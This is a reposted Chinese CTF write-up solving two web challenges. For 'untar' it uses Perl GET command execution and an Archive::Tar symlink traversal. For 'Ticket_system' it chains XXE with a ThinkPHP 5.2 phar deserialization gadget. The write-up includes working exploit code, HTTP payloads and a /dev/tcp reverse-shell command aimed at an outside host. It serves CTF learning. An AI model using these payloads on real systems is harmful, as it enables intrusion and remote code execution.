Sec Hotspot 首页  收藏本站  技术博客  RSS
统计信息
已收录文章数量:6681 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
本周热门文章
命不由己(17)   2019.12.08 22:43:28  186
新型网络钓鱼手法   2019.12.11 08:30:18  86
JWT攻击手册:如何入侵你的Token   2019.12.11 08:10:05  82
Discuz! X系列全版本后台SQL注入漏洞   2019.12.10 22:55:38  63
机器学习必学10大算法   2019.12.11 08:15:49  61
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
2019湖湘杯和redhat杯的部分Web题解
本文来自公众号:合天智汇   2019.12.02 10:44:21

前言

通过这两次比赛把自己学到的东西总结一下,不过由于名次掉的太快就没有进入决赛。



大家自己体验一波。
0x01 untar
题目给了源码:
sandbox/2aeae26864f775d4cad75f15a6c95d97<?php    $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);    echo $sandbox."</br>";    @mkdir($sandbox);    @chdir($sandbox);    if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))        die();    $url  = str_replace("|", "", $_GET["url"]);    $data = shell_exec("GET " . escapeshellarg($url));    $info = pathinfo($_GET["filename"]);    $dir  = str_replace(".", "", basename($info["dirname"]));    @mkdir($dir);    @chdir($dir);    @file_put_contents(basename($info["basename"]), $data);    shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));    highlight_file(__FILE__);


于是去搜索了一波。
原题是 HITCON 2017 ,这段代码先通过XFF判断用户的ip,建立沙盒,并且通过 GET 传入 url filename 两个参数,通过 filename 建立新的目录以及文件名,通过url进行 shell_exec GET 命令执行,最终把执行结果放在新生成的目录下的文件名。
里面有几个关键的函数我们先来了解一下。
首先来研究一下 pathinfo 函数以及 basename 函数的机制。


下面是 pathinfo 的测试代码:

<?php$path="/var/www/html/shell.php";$info=pathinfo($path);print $info["dirname"];echo "<br>";print $info["basename"];echo "<br>";print $info["extension"];

结果如下:

/var/www/htmlshell.phpphp

basename() 函数返回路径中的文件名部分,如下测试代码:

<?php$path="/var/www/html/shell.php";print basename($path);echo "<br>";print basename($path,".php");echo "<br>";


运行的结果如下:

shell.phpshell


代码对于要建立的目录都会两边 basename ,如下代码:

<?php$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));echo $dir;echo "<br>";echo $info["dirname"]; //$cecho "<br>";echo basename($info['basename']);


测试的地址参数:

http://localhost/test/demo2.php?url=/&filename=/var/www/html/shell.php

测试的结果如下:

html/var/www/htmlshell.php
如果 filename 为/a或者a这样的形式, basename($info['basename']); 肯定为a的,此时的目录为当前目录,再次用 basename 返回路径中的文件名肯定为空。如果 a/xxx/ $c $dir 返回的都是a,解释一下原因:第一次返回的 basename a 其实相当于 ./a ,那么第二次再用 basename 返回的文件名肯定也是 a 。理解了之后题目就比较好做了。
escapeshellarg与escapeshellcmd函数
escapeshellarg
1. 确保用户只能传递一个参数给命令。
2. 用户不能指定更多的参数一个。
3. 用户不能执行不同的命令。

就好比是我传入的 ls ,那么经过函数的操作后就变成了 'ls' 。同时会对传入的单引号进行一些安全处理,例如传入 l's 就会变成 'l'\''s'
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
他的作用是将一些危险的符号进行转义,如:
&,|,;,\ `
对于orange师傅的原题是 GET命令的漏洞
根本的原因在于 perl GET 函数 的底层是调用 open 处理的,而在 perl`中,open是可以执行系统命令的。
例如下面的示例代码:
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat ./demo.plopen(FD,"|id");print <FD>;root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl ./demo.pluid=0(root) gid=0(root) groups=0(root),999(docker)


从这段命令我们可以看出来perl中的open的作用。同时open是支持file协议的。

The library supports GET and HEAD methods for file requests.  The"If-Modified-Since" header is supported.  All other headers areignored.  The I<host> component of the file URL must be empty or setto "localhost".  Any other I<host> value will be treated as an error.Directories are always converted to an HTML document.  For normalfiles, the "Content-Type" and "Content-Encoding" in the response areguessed based on the file suffix.Example:  $req = HTTP::Request->new(GET => 'file:/etc/passwd');

尝试一下file协议读取 GEt 'file:/etc/passwd' 或者 GET '/etc/passwd' ,都可以成功读取文件内容。下面可以执行系统命令。

root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  ls|root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# GET 'file:ls|'
通过以上命令成功执行,这里需要注意的是要有存在的文件名才能成功执行命令,所以新建了一个 ls| 文件。
orange的原题我们可以建立执行的文件名,再通过file协议去执行就可以了。
首先先看一下目录。
通过Payload url=/&filename=xxx,访问沙盒里面的xxx文件。


发现 flag readflag ,flag是空的,readflag是一个二进制文件,需要通过执行readflag来读取flag。
构造文件名 bash -c /readflag ,通过如下payload
url=/etc/passwd&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=a
访问沙盒下的a可以得到flag(这里的/etc/passwd的目的只是为了让我的GET命令请求快点)
第二种方法可以利用反弹shell
url=http://your_vps/port&filename=a
url=/etc/passwd&filename=bash a|
url=file:bash a|&filename=xxx


同样需要在你的vps上放一下一句话反弹bash。
但是上面的这题限制了只能是 http 或者 https ,并且过滤了 |
因此上面的方式全部失效了。但是我们注意到了最后一句。
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
搜索发现https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834。这是一个perl的目录穿梭漏洞。
这个是比较详细的介绍http://knqyf263.hatenablog.com/entry/2018/06/27/181037
上面会把文件解压到当前的文件夹中。
如下实验:
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ln -s /tmp/moo mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat <<EOF> foo> #!/bin/sh> echo foo> EOFroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar zcvf b.tar.gz * --transform='s/foo/moo/g'demo.plfools|mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar -tvvf b.tar.gz-rw-r--r-- root/root        28 2019-11-11 18:18 demo.pl-rw-r--r-- root/root        19 2019-11-12 11:36 moo-rw-r--r-- root/root         0 2019-11-11 18:28 ls|lrwxrwxrwx root/root         0 2019-11-12 11:36 moo -> /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls /tmp/mools: cannot access '/tmp/moo': No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz  demo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'Making symbolic link '/root/perl_file/moo' to '/tmp/moo' failed at -e line 1.root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moo#!/bin/shecho fooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz  demo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# rm -rf /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moocat: /tmp/moo: No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file#
因此可以这样构造:
ln -s /var/www/html/sandbox/wen.php wentar -cf b.tar wenrm wenecho '<?php echo system("/readflag");'>wentar -rf b.tar wen
同时我们还可以使用这个来归档为同名文件
tar zcvf b.tar.gz * --transform='s/{你的文件名}{软连接}'
然后通过访问包含我们的b.tar
http://183.129.189.62:17507/?url=http://123.57.232.69:8302/php_file/b.tar&filename=b.tar
然后在沙盒中可以看到b.tar文件。
然后再通过包含sandbox的文件来rce。
http://183.129.189.62:17507/?url=http://183.129.189.62:17507/sandbox/2aeae26864f775d4cad75f15a6c95d97/b.tar&filename=b.tar


######最后我们访问

http://183.129.189.62:17507/sandbox/wen.php

拿到flag如下:
flag{3c3bf67443640154c155ce9b2eb5ce7a}

0x02 Ticket_system[12end师傅]
题目描述:
1. 首先题目有个文件上传的点,然后有个可以提交xml的地方。那么我们就可以通过这两个点了展开我们的攻击。
2. 现在我们先尝试一下xxe:


可以看到成功的读取了本地文件。

看到这里,小伙伴是不是也想体验一把呢,复制链接吧。 http://www.hetianlab.com/expc.do?ec=ECID0666-af7d-40b9-9d16-595586298c54XML 《外部实体注入漏洞》


我们通过读取源码发现是thinkPhp的空架版本是 5.2.0 ,通过搜索找到了 Smile 的一个 5.2.x 的版本的反序列化链,下面是payload:
<?phpnamespace think\process\pipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = array($files);        }    }}
namespace think\model\concern { trait Conversion { protected $append = array("Smi1e" => "1"); }
trait Attribute { private $data; private $withAttr = array("Smi1e" => "system");
public function get($system){ $this->data = array("Smi1e" => "$system"); } }}namespace think { abstract class Model { use model\concern\Attribute; use model\concern\Conversion; }}
namespace think\model{ use think\Model; class Pivot extends Model{ public function __construct($system){ $this->get($system); } }}
namespace { $Conver = new think\model\Pivot("sleep 100"); $payload = new think\process\pipes\Windows($Conver); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($payload); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); echo urlencode(serialize($payload));}?>


我们配合 phar:// 反序列化进行rce。

POST /postXML HTTP/1.1Host: 47.105.78.102User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: application/xml, text/xml, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/xml;charset=utf-8X-Requested-With: XMLHttpRequestContent-Length: 227Connection: closeReferer: http://47.105.78.102/ticketCookie: PHPSESSID=lhps1inapcge7mumnt07jrqn82
<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "phar:///tmp/uploads/21232f297a57a5a743894a0e4a801fc3/20191110/acfeb10ed83aad76c0c2249ce7e93996.xml" >]><ticket><username>&xxe;</username><code>1111111</code></ticket>


sleep 100 改成 bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1' ,然后在自己的服务器监听一下。就可以反弹shell了。
getshell后发现并不能读取flag文件由于对www-data有权限的设置,但是在根目录下有一个readflag的二进制文件,但是执行它会出现一个随机计算的式子,由于nc这样的shell不能交互,但是上面有php和perl的环境那么我们可以上传文件去执行建立交互。从从而获得flag。
<?php$descriptorspec = array(   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件);
$cwd = '/tmp';$env = array('some_option' => 'aeiou');
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) { // $pipes 现在看起来是这样的: // 0 => 可以向子进程标准输入写入的句柄 // 1 => 可以从子进程标准输出读取的句柄 // 错误输出将被追加到文件 /tmp/error-output.txt
//fwrite($pipes[0], ''); //fclose($pipes[0]);
$output1 = fread($pipes[1],1024); var_dump($output); $output2 = fread($pipes[1],1024); var_dump($output); $output3 = fread($pipes[1],1024); var_dump($output);
$calc = trim($output2); $an = eval("return $calc;"); var_dump($an); fwrite($pipes[0], (string)$an."\n");
$output = stream_get_contents($pipes[1]); var_dump($output);

// 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。 $return_value = proc_close($process);
echo "command returned $return_value\n";}?>


运行的结果:


参考链接
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予 200元-800元 不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击—— 重金悬赏 | 合天原创投稿涨稿费啦!